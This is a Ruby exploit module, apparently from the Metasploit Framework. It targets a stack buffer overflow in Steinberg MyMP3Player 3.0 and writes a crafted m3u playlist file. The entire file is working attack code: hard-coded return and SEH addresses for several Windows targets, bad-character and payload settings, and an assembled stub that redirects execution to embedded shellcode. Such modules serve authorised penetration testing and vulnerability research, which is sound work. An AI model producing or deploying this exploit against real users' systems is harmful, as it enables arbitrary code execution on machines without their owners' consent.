metasploit-framework/modules/exploits/windows/fileformat/mymp3player_m3u.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Steinberg MyMP3Player 3.0 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Steinberg MyMP3Player == 3.0. When
the application is used to open a specially crafted m3u file, a buffer overflow occurs
allowing arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'n3w7u', # original
'm_101'
],
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '64580'],
[ 'URL', 'http://www.exploit-db.com/exploits/11791' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 900,
'BadChars' => "\x00\x0a\x0d\x5c",
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x0043bea3 } ], # call ecx in My MP3.exe v3.0.0.67
[ 'Windows Universal (SEH)', { 'Ret' => 0x00403e68 } ], # p/p/r in My MP3.exe v3.0.0.67
[ 'Windows XP SP3 French', { 'Ret' => 0x72c6170b } ], # seh return in msacm.drv
],
'Privileged' => false,
'DisclosureDate' => 'Mar 18 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
], self.class)
end
def exploit
# direct ret overwrite at offset 1024
# nseh overwrite at offset 1040
ret_offset = 1024
seh_offset = 1040
# start with the payload
m3u = payload.encoded
if (target.name =~ /SEH/)
m3u << rand_text_alphanumeric(seh_offset - m3u.length)
# ensure bad,no-nul addr for ret (trigger SEH)
m3u[ret_offset,4] = [0xc0010101 | rand(0xffffffff)].pack('V')
# We utilize a small stub near the end of the buffer space to
# continue to the real shellcode...
# NOTE: the push is to avoid a badchar (0x5c)
stub = <<-EOF
push ecx
sub esp,-0x1a8
ret
EOF
stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string
m3u[seh_offset - stub.length, stub.length] = stub
# Jump back to the stub
jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + stub.length.to_s).encode_string
seh = ''
seh << jmp2
seh << rand_text(2)
seh << [target.ret].pack('V')
m3u << seh
else
m3u << rand_text_alphanumeric(1024 - m3u.length)
m3u << [target.ret].pack('V')
end
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(m3u)
end
end